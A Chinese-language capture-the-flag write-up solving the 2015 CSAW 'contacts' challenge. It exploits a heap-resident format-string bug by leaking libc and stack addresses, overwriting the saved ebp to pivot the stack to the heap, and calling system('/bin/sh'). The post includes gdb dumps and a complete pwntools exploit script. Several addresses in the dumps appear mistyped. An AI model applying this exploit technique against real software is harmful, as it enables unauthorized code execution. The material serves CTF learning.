

前言

本练习以2015-CSAW-contacts中的contacts为例进行介绍。格式化字符串漏洞在堆空间上，非栈。[题目链接](#)

1. 题目信息

安全机制

```
[*] '/home/zzw/Desktop/pwn/contacts/contacts'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
```

题目代码

```
6  setvbuf(stdout, 0, 2, 0);
7  for ( i = 0; i <= 9; ++i )
8      memset((void *) (80 * i + 134525088), 0, 0x50u);
9 LABEL_11:
10 while ( v1 != 5 )
11 {
12     printf("%s", off_804B04C);
13     __isoc99_scanf("%u%c", &v1);
14     switch ( v1 )
15     {
16     case 1:
17         create_contact((int)&unk_804B0A0);
18         break;
19     case 2:
20         remove_contact(&unk_804B0A0);
21         break;
22     case 3:
23         edit_contact(&unk_804B0A0);
24         break;
25     case 4:
26         display_contact(&unk_804B0A0);
27         break;
28     case 5:
29         goto LABEL_11;
30     default:
31         puts("Invalid option");
32         break;
33     }
34 }
35 puts("Thanks for trying out the demo, sadly your contacts are now erased");
36 return 0;
37 }
```

create_contact

input_name , 输入名字

```
char *__cdecl input_name(int a1)
{
    char *result; // eax
```

```

printf("\tName: ");
fgets((a1 + 8), 64, stdin);
result = strchr((a1 + 8), 10);
if ( result )
{
    result = strchr((a1 + 8), 10);
    *result = 0;
}
return result;
}

```

input_number , 创建堆空间, 并输入数据

```

char *__cdecl input_number(int a1)
{
    char *result; // eax

    printf("[DEBUG] Haven't written a parser for phone numbers; ");
    puts("You have 10 numbers");
    *(a1 + 4) = malloc(0xBu);
    if ( !*(a1 + 4) )
        exit(1);
    printf("\tEnter Phone No: ");
    fgets(*(a1 + 4), 11, stdin);
    result = strchr(*(a1 + 4), 10);
    if ( result )
    {
        result = strchr(*(a1 + 4), 10);
        *result = 0;
    }
    return result;
}

```

input_description 输入要描述的长度, 申请堆空间, 输入描述

```

char *__cdecl input_description(int a1)
{
    char *result; // eax
    int v2[3]; // [esp+1Ch] [ebp-Ch] BYREF

    printf("\tLength of description: ");
    __isoc99_scanf("%u%c", v2);
    *(a1 + 72) = v2[0];
    *a1 = malloc(v2[0] + 1);
    if ( !*a1 )
        exit(1);
    printf("\tEnter description:\n\t\t");
    fgets(*a1, v2[0] + 1, stdin);
    result = *a1;
    if ( !*a1 )
        exit(1);
    return result;
}

```

remove_contact

根据输入的名字, 删除信息, 并释放堆内存。

```

unsigned int __cdecl remove_contact(int a1)
{
    int i; // [esp+18h] [ebp-50h]
    char s[64]; // [esp+1Ch] [ebp-4Ch] BYREF
    unsigned int v5; // [esp+5Ch] [ebp-Ch]

    v5 = __readgsdword(0x14u);
    printf("Name to remove? ");
    fgets(s, 64, stdin);
    if ( strchr(s, 10) )
        *strchr(s, 10) = 0;
    for ( i = 0; i <= 9; ++i )
    {
        if ( *(a1 + 76) && !strcmp((a1 + 8), s) )
        {
            memset((a1 + 8), 0, 0x40u);
            free(*a1);
            *(a1 + 72) = 0;
            *(a1 + 76) = 0;
            --dword_804B088;
            printf("Removed: %s\n\n", s);
            return __readgsdword(0x14u) ^ v5;
        }
        a1 += 80;
    }
    puts("Name not found dude");
    return __readgsdword(0x14u) ^ v5;
}

```

display_contact

```

int __cdecl print_out(int a1, int a2, int a3, char *format)
{
    printf("\tName: %s\n", a1);
    printf("\tLength %u\n", a2);
    printf("\tPhone #: %s\n", a3);
    printf("\tDescription: ");
    return printf(format);
}

```

最后一行的格式化字符串存在漏洞。但纵观整题，输入和输出的内存都在堆上，非栈空间。

2. 解题过程

2.1 思路分析

对于格式化字符串漏洞，常规利用都是通过劫持got表或者控制返回地址来控制程序流程。但这里却不可行。

```

root@kali:~# gdb-peda$ stack 50
0000| 0xffffffffc90 --> 0x804c420 ("AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.\n")
0004| 0xffffffffc94 --> 0x804c410 ("23145378")
0008| 0xffffffffc98 --> 0xf7e62cbb (<_IO_puts+11>; add ebx,0x153345)
0012| 0xffffffffc9c --> 0x0
0016| 0xffffffffcea0 --> 0xf7fb6000 --> 0x1b2db0
0020| 0xffffffffcea4 --> 0xf7fb6000 --> 0x1b2db0
0024| 0xffffffffcea8 --> 0xffffced8 --> 0xffffcf08 --> 0x0
0028| 0xffffffffceac --> 0x8048c99 (add DWORD PTR [ebp-0xc],0x1)
0032| 0xffffffffceb0 --> 0x804b0a8 --> 0x777a7a ('zzw')
0036| 0xffffffffceb4 --> 0xc8
0040| 0xffffffffceb8 --> 0x804c410 ("23145378")
0044| 0xfffffcebcb --> 0x804c420 ("AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.\n")
0048| 0xfffffec0 --> 0xf7fb6d60 --> 0xfbada887
0052| 0xfffffec4 --> 0x8048ed6 --> 0x25007325 ('%s')
0056| 0xfffffec8 --> 0x804b0a0 --> 0x804c420 ("AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.\n")
0060| 0xfffffecc --> 0x0
0064| 0xfffffed0 --> 0xf7fb6000 --> 0x1b2db0
0068| 0xfffffed4 --> 0x0
0072| 0xfffffed8 --> 0xffffcf08 --> 0x0
0076| 0xfffffedc --> 0x80487a2 (jmp 0x80487b3)
0080| 0xfffffee0 --> 0x804b0a0 --> 0x804c420 ("AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.\n")
0084| 0xfffffee4 --> 0xffffcef8 --> 0x4
0088| 0xfffffee8 --> 0x50 ('P')
0092| 0xfffffeec --> 0x0
0096| 0xfffffef0 --> 0xf7fb63dc --> 0xf7fb71e0 --> 0x0
--More--(25/50)
0100| 0xfffffef4 --> 0x8048288 --> 0xb2
0104| 0xfffffef8 --> 0x4
0108| 0xfffffefc --> 0xa ('\n')
0112| 0xfffffc00 --> 0xf7fb6000 --> 0x1b2db0
0116| 0xfffffc04 --> 0xf7fb6000 --> 0x1b2db0
0120| 0xfffffc08 --> 0x0
0124| 0xfffffc0c --> 0xf7e1b647 (<__libc_start_main+247>; add esp,0x10)
0128| 0xfffffc10 --> 0x1
0132| 0xfffffc14 --> 0xffffcfda --> 0xffffdd179 ("/home/zzw/Desktop/pwn/contacts/contacts")
0136| 0xfffffc18 --> 0xffffcfac --> 0xffffdda1 ("XDG_VTNR=7")
gdb-peda$ c
Continuing.
AAAA..0804c410.f7e62cbb.00000000.f7fb6000.f7fb6000.ffffced8.08048c99.0804b0a8.000000c8.0804c410.0804c420.f7fb6d60.0804be
tde.0804b0a0.00000000.f7fb6000.00000000.ffffcf08.080487a2.0804b0a0ffffcef8.00000050.00000000.f7fb63dc.08048288.00000004.
0000000a.f7fb6000.f7fb6000.00000000.
Menu:
```

无法找到栈上可以泄露数据的偏移，无法泄露有效的可控地址信息。因为数据输入和输出都在堆上。也就是说我们输入的payload会出现在堆内存的某个地址。那如果我们把eip指向堆上的某个地址不就行了么。

因为存在格式化漏洞可以改写任意地址，所以可以采取把栈迁移到堆上去。之前在在栈迁移博客中提到迁移栈需要两次ret。当前ebp保存的是display_contact函数的ebp，返回时执行一次ret。但还有一个选项5是main函数的ret。这样把ebp地址覆盖为system-4的地址。这个system-4的地址是指向堆上的数据，可控。

思路如下：

1. 格式化字符串泄露system的地址以及binsh地址
2. 将system地址以及bin_sh写入到栈上
3. 获取ebp的地址以及description在堆上的位置，通过格式化字符串将其泄露
4. 通过格式化字符串将其当前ebp修改为system-4的地址
5. display_contact 返回一次，以及main函数返回一次，触发执行payload

2.1 泄露 libc start main地址

```
pwn-peda$ stack 50
0000| 0xffffce9e --> 0x804c420 ("AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.\n")
0004| 0xffffce94 --> 0x804c410 ("23145378")
0008| 0xffffce98 --> 0xf7f62cbb (<_IO_puts+11>; add    ebx,0x153345)
0012| 0xffffce9c --> 0x0
0016| 0xffffcea0 --> 0xf7fb6000 --> 0x1b2db0
0020| 0xffffcea4 --> 0xf7fb6000 --> 0x1b2db0
0024| 0xffffcea8 --> 0xffffced8 --> 0xffffcf08 --> 0x0
0028| 0xffffceac --> 0x8048c99 (add     DWORD PTR [ebp-0xc],0x1)
0032| 0xffffceb0 --> 0x804b0a8 --> 0x777a7a ('zzw')
0036| 0xffffceb4 --> 0xc8
0040| 0xffffceb8 --> 0x804c410 ("23145378")
0044| 0xffffceb4 --> 0x804c420 ("AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.\n")
0048| 0xffffcec0 --> 0xf7fb6d60 --> 0xfb2d87
0052| 0xffffcec4 --> 0x8048ed6 --> 0x25007325 ('%s')
0056| 0xffffcec8 --> 0x804b0a0 --> 0x804c420 ("AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.\n")
0060| 0xffffcecc --> 0x0
0064| 0xffffced0 --> 0xf7fb6000 --> 0x1b2db0
0068| 0xffffced4 --> 0x0
0072| 0xffffced8 --> 0xffffcf08 --> 0x0
0076| 0xffffcedc --> 0x80487a2 (jmp     0x80487b3)
0080| 0xffffcee0 --> 0x804b0a0 --> 0x804c420 ("AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.\n")
0084| 0xffffcee4 --> 0xffffcef8 --> 0x4
0088| 0xffffcee8 --> 0x50 ('P')
0092| 0xffffceec --> 0x0
0096| 0xffffcef0 --> 0xf7fb63dc --> 0xf7fb71e0 --> 0x0
--More--(25/50)
0100| 0xffffcef4 --> 0x8048288 --> 0x82
0104| 0xffffcef8 --> 0x4
0108| 0xffffcefc --> 0xa ('\n')
0112| 0xffffcf00 --> 0xf7fb6000 --> 0x1b2db0
0116| 0xffffcf04 --> 0xf7fb6000 --> 0x1b2db0
0120| 0xffffcf08 --> 0x0
0124| 0xffffcf0c --> 0xf7e1b647 (<__libc_start_main+247>; add    esp,0x10)
0128| 0xffffcf10 --> 0x1
0132| 0xffffcf14 --> 0xffffcfa4 --> 0xfffffd179 ("/home/zzw/Desktop/pwn/contacts/contacts")
0136| 0xffffcf18 --> 0xffffcfac --> 0xfffffd1a1 ("XDG_VTNR=7")
0140| 0xffffcf1c --> 0x0
0144| 0xffffcf20 --> 0x0
0148| 0xffffcf24 --> 0x0
```

Handwritten annotations:

- A red arrow points from the address `0x8048288` to the value `0x82`.
- The number `25` is written next to the instruction `<_IO_puts+11>; add ebx,0x153345`.
- The number `31` is written next to the instruction `<__libc_start_main+247>; add esp,0x10`.

菜单

```
from pwn import*

context.log_level = 'debug'
io = process('./contacts')
io.recv()

def create(name, phone, number, payload):
    print('$$$$$$$$$$$$$$$$$$$$')
    io.sendline('1')
    io.recvuntil('Name:')
    io.sendline(name)
    io.recvuntil('Enter Phone No:')
    io.sendline(phone)
    io.recvuntil('Length of description:')
    io.sendline(number)
    io.recvuntil('Enter description:')
    io.sendline(payload)
    io.recv()

def display():
    io.sendline('4')
    data = io.recvuntil('aaaa')
    return data

create('zzw', '234324234', '200',b'%31$paaaa')
data = display()
__libc_start_main_address = int(data[-12:-4],16) -247

print('[*] __libc_start_main_address is :', hex(__libc_start_main_address))
```

```
[DEBUG] Received 0xfc bytes:
b'Menu:\n'
b'1)Create contact\n'
b'2)Remove contact\n'
b'3)Edit contact\n'
b'4)Display contacts\n'
b'5)Exit\n'
b'>>> Contacts:\n'
b'\tName: zzw\n'
b'\tLength 200\n'
b'\tPhone #: 234324234\n'
b'\tDescription: 0xf7d69647aaaa\n'
b'Menu:\n'
b'1)Create contact\n'
b'2)Remove contact\n'
b'3)Edit contact\n'
b'4)Display contacts\n'
b'5)Exit\n'
b'>>> '
[*] __libc_start_main_address is : 0xf7d69550
zzw@ubuntu:~/Desktop/pwn/contacts$
```

2.2 计算system和/bin/sh地址

通过libc-database或者LibcSearcher进行查询

```
print('[*] __libc_start_main_address is :', hex(__libc_start_main_address))
libc = LibcSearcher('__libc_start_main', __libc_start_main_address)
__libc_start_main_offset = libc.dump('__libc_start_main')
print('__libc_start_main_offset', __libc_start_main_offset)
system_offset = libc.dump('system')
print('system_offset', system_offset)
bin_sh = libc.dump('str_bin_sh')
print('str_bin_sh', bin_sh)
```

```

[*] __libc_start_main_address is : 0xf7e04550
[+] There are multiple libc that meet current constraints :
0 - libc6_2.23-0ubuntu11.2_i386
1 - libc6-i386_2.23-0ubuntu11.2_amd64
2 - musl_1.1.16-3_i386
3 - libc6_2.23-0ubuntu2_i386
4 - libc6_2.23-0ubuntu11.3_i386
5 - libc6-i386_2.23-0ubuntu11.3_amd64
[+] Choose one : 5
__libc_start_main_offset 0x18550
system_offset 0x3a950
str_bin_sh 0x15912b
zzw@ubuntu:~/Desktop/pwn/contacts$

```

或者使用libc-databases查询，这个库需要下载到本地，查询比较准确

```

zzw@ubuntu:~/Desktop/libcdatabase/libc-database-master$ ./dump libc6-i386_2.23-0
ubuntu11.3_amd64
offset___libc_start_main_ret = 0x18647
offset_system = 0x0003a950
offset_dup2 = 0x000d4c60
offset_read = 0x000d4460
offset_write = 0x000d44d0
offset_str_bin_sh = 0x15912b
zzw@ubuntu:~/Desktop/libcdatabase/libc-database-master$ ./dump libc6-i386_2.23-0
ubuntu11.3_amd64 __libc_start_main
offset___libc_start_main = 0x00018550
zzw@ubuntu:~/Desktop/libcdatabase/libc-database-master$

```

这样就获取到需要的各种信息

2.3 泄露ebp地址以及堆上description地址

```

1 int __cdecl main()
2 {
3     int v1; // [esp+18h] [ebp-8h] BYREF
4     int i; // [esp+1Ch] [ebp-4h]
5
6     setvbuf(stdout, 0, 2, 0);
7     for ( i = 0; i <= 9; ++i )
8         memset((80 * i + 134525088), 0, 0x50u);
9 LABEL_11:
10    while ( v1 != 5 )
11    {
12        printf("%s", off_804B04C);
13        __isoc99_scanf("%u%c", &v1);
14        switch ( v1 )
15        {
16            case 1:
17                create_contact(80 * i + 134525088);
18    }
19 int __cdecl display_contact(int a1)
20 {
21     int result; // eax
22     int i; // [esp+1Ch] [ebp-Ch]
23
24     if ( !dword_804B088 )
25         return puts("\nAdd contacts first");
26     result = puts("Contacts:");
27     for ( i = 0; i <= 9; ++i )
28     {
29         result = *(a1 + 76);
30         if ( result )
31             result = printf(a1 + 8, *(a1 + 72), *(a1 + 4), *a1);
32         a1 += 80;
33     }
34     return result;
35 }
36
37 int __cdecl print_out(int a1, int a2, int a3, char *format)
38 {
39     printf("\tName: %s\n", a1);
40     printf("\tLength %u\n", a2);
41     printf("\tPhone #: %s\n", a3);
42     printf("\tDescription: ");
43     return printf(format);
44 }

```

下断点

下断点

下断点

分别在三个函数体内部下断点，查看ebp

第一处：EBP: 0xffffcf08 --> 0x0

第二处：EBP: 0xffffced8 --> 0xffffcf08

第三处：EBP: 0xffffcea8 --> 0xffffced8 --> 0xffffcf08 --> 0x0

保留的是前一函数栈的ebp，即old_ebp

0xffffcf08 lib_start_main的ebp

0xffffced8 main函数ebp

0xffffcea8 display_contact函数的ebp

这里需要将0xffffcea8指向的0xffffced8的值覆盖。可以通过格式化字符串实现，这样两次ret后可实

现栈迁移。

查看在栈上的偏移。将其泄露出来。

```
gdb-peda$ stack 40
0000| 0xffffce90 --> 0x804c430 ("aaaa.%p.%p.%p.%p.%p.%p.\n")
0004| 0xffffce94 --> 0x804c420 ("123456789")
0008| 0xffffce98 --> 0xf7e62cbb (<_IO_puts+11>: add    ebx,0x153345)
0012| 0xffffce9c --> 0x0
0016| 0xffffcea0 --> 0xf7fb6000 --> 0x1b2db0
0020| 0xffffcea4 --> 0xf7fb6000 --> 0x1b2db0
0024| 0xffffcea8 --> 0xffffced8 --> 0xffffcf08 --> 0x0
0028| 0xffffceac --> 0x8048c99 (add    DWORD PTR [ebp-0xc],0x1)
0032| 0xffffceb0 --> 0x804b0a8 --> 0x777a7a ('zzw')
0036| 0xffffceb4 --> 0x64 ('d')
0040| 0xffffceb8 --> 0x804c420 ("123456789")
0044| 0xffffcebc --> 0x804c430 ("aaaa.%p.%p.%p.%p.%p.%p.\n")
0048| 0xffffcec0 --> 0xf7fb6d60 --> 0xfbad2887
0052| 0xffffcec4 --> 0x8048ed6 --> 0x25007325 ('%s')
0056| 0xffffcec8 --> 0x804b0a0 --> 0x804c430 ("aaaa.%p.%p.%p.%p.%p.%p.\n")
0060| 0xffffcecc --> 0x0
0064| 0xffffced0 --> 0xf7fb6000 --> 0x1b2db0
0068| 0xffffced4 --> 0x0
0072| 0xffffced8 --> 0xffffcf08 --> 0x0
0076| 0xffffcedc --> 0x80487a2 (jmp    0x80487b3)
0080| 0xffffcee0 --> 0x804b0a0 --> 0x804c430 ("aaaa.%p.%p.%p.%p.%p.%p.\n")
0084| 0xffffcee4 --> 0xffffcef8 --> 0x4
0088| 0xffffcee8 --> 0x50 ('P')
0092| 0xffffceec --> 0x0
0096| 0xffffcef0 --> 0xf7fb63dc --> 0xf7fb71e0 --> 0x0
--More--(25/40)
0100| 0xffffcef4 --> 0x8048288 --> 0x82
0104| 0xffffcef8 --> 0x4
0108| 0xffffcefc --> 0xa ('\n')
0112| 0xffffcf00 --> 0xf7fb6000 --> 0x1b2db0
0116| 0xffffcf04 --> 0xf7fb6000 --> 0x1b2db0
0120| 0xffffcf08 --> 0x0
0124| 0xffffcf0c --> 0xf7e1b647 (<__libc_start_main+247>: add    esp,0x10)
0128| 0xffffcf10 --> 0x1
0132| 0xffffcf14 --> 0xffffcfa4 --> 0xffffd179 ("/home/zzw/Desktop/pwn/contacts/contacts")
0136| 0xffffcf18 --> 0xffffcfac --> 0xffffd1a1 ("XDG_VTNR=7")
0140| 0xffffcf1c --> 0x0
0144| 0xffffcf20 --> 0x0
0148| 0xffffcf24 --> 0x0
0152| 0xffffcf28 --> 0xf7fb6000 --> 0x1b2db0
0156| 0xffffcf2c --> 0xf7ffdc04 --> 0x0
```

ebp信息偏移为6

description输入地址偏移11

干脆在第一次泄露_lib_start_main时泄露，改一下之前的脚本

```
from pwn import*
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
io = process('./contacts')
io.recv()
def create(name, phone, number, payload):
    print('$$$$$$$$$$$$$$$$$$$$')
    io.sendline('1')
    io.recvuntil('Name:')
    io.sendline(name)
    io.recvuntil('Enter Phone No:')
    io.sendline(phone)
    io.recvuntil('Length of description:')
    io.sendline(number)
    io.recvuntil('Enter description:')
    io.sendline(payload)
    io.recv()

def display():
    io.sendline('4')
```

```

data = io.recvuntil('aaaa')
return data

create('zzw', '234324234', '200',b'%6$p.%11$p.%31$p.aaaa')
data = display().split(b"Description:")[1].split(b'.')
ebp_addr = int(data[0],16)
heap_addr = int(data[1],16)
__libc_start_main_address = int(data[2],16)
print(data[0],data[1],data[2])
print("[*] ebp addr is ", hex(ebp_addr))
print("[*] heap_addr is ", hex(heap_addr))
print("[*] start_main is ",hex(__libc_start_main_address))

__libc_start_main_address -= 247

offset_system = 0x0003a950
offset_str_bin_sh = 0x15912b
offset___libc_start_main = 0x00018550
libc_base = __libc_start_main_address -offset___libc_start_main

system_address =libc_base + offset_system
bin_sh = libc_base + offset_str_bin_sh
print('[*] __libc_start_main_address is', hex(__libc_start_main_address))
print('[*] libc base is', hex(libc_base))
print('[*] system_address is', hex(system_address))
print('[*] bin_sh is', hex(bin_sh))

```

```

[*] ebp addr is 0xffba2e68
[*] heap_addr is 0x9a66020
[*] start_main is 0xf7db4647
[*] __libc_start_main_address is 0xf7db4550
[*] libc base is 0xf7d9c000
[*] system_address is 0xf7dd6950
[*] bin_sh is 0xf7ef512b
zzw@ubuntu:~/Desktop/pwn/contacts$

```

2.4 修改ebp为堆上shellcode地址

ebp地址内容修改为堆上description执行地址。

```

payload=fmtstr_payload(6, {ebp_addr:heap_addr-4})
print payload

```

2.5 exp代码

```

from pwn import*
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
io = process('./contacts')
io.recv()
def create(name, phone, number, payload):
    print('$$$$$$$$$$$$$$$$$$$$')
    io.sendline('1')
    io.recvuntil('Name:')
    io.sendline(name)
    io.recvuntil('Enter Phone No:')
    io.sendline(phone)
    io.recvuntil('Length of description:')

```

```

        io.sendline(number)
        io.recvuntil('Enter description:')
        io.sendline(payload)
        io.recv()

def display():
    io.sendline('4')

create('111', '234324234', '200',b'%11$p.%6$p.%31$p.aaaa')
display()
data = io.recvuntil('aaaa')
print(data)
data = data.split(b"Description:")[1].split(b'.')
ebp_addr = int(data[0],16)
heap_addr = int(data[1],16)
__libc_start_main_address = int(data[2],16)
print(data[0],data[1],data[2])
print("[*] ebp addr is ", hex(ebp_addr))
print("[*] heap_addr is ", hex(heap_addr))
print("[*] start_main is ",hex(__libc_start_main_address))

__libc_start_main_address -= 247

offset_system = 0x0003a950
offset_str_bin_sh = 0x15912b
offset__libc_start_main = 0x00018550
libc_base = __libc_start_main_address -offset__libc_start_main

system_address =libc_base + offset_system
bin_sh = libc_base + offset_str_bin_sh
print('[*] __libc_start_main_address is', hex(__libc_start_main_address))
print('[*] libc base is', hex(libc_base))
print('[*] system_address is', hex(system_address))
print('[*] bin_sh is', hex(bin_sh))

payload = flat([system_address,0xdeadbeef,bin_sh,'aaaa'])
create('222', '234324234', '200',payload)
display()
io.recv()
'''
part1 = (heap_addr - 4) / 2
part2 = heap_addr - 4 - part1
payload = '%' + str(part1) + 'x%' + str(part2) + 'x%6$n'
'''

payload=fmtstr_payload(6,{ebp_addr:heap_addr-4})
create('333', '234324234', '200',payload)
display()
io.recvuntil('>>> ')
io.sendline('5')
io.interactive()

```

该exp并不是一个稳定的shell。因为要打印很多字节。无法采取逐字节修改的方式，因为堆地址变化无法确定。

